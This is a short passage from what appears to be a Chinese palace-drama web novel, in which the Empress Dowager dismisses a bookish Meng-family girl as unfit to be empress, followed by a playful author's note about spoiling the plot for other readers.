“至于孟家那个,把她祖父的派头学了一个十成十,掉书袋子里了,当后妃没有问题,当皇后,却差远了。”太后这话的意思是,如果将来皇后薨逝,要选继后,也不会考虑她。 读书读傻了。 作者有话要说 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的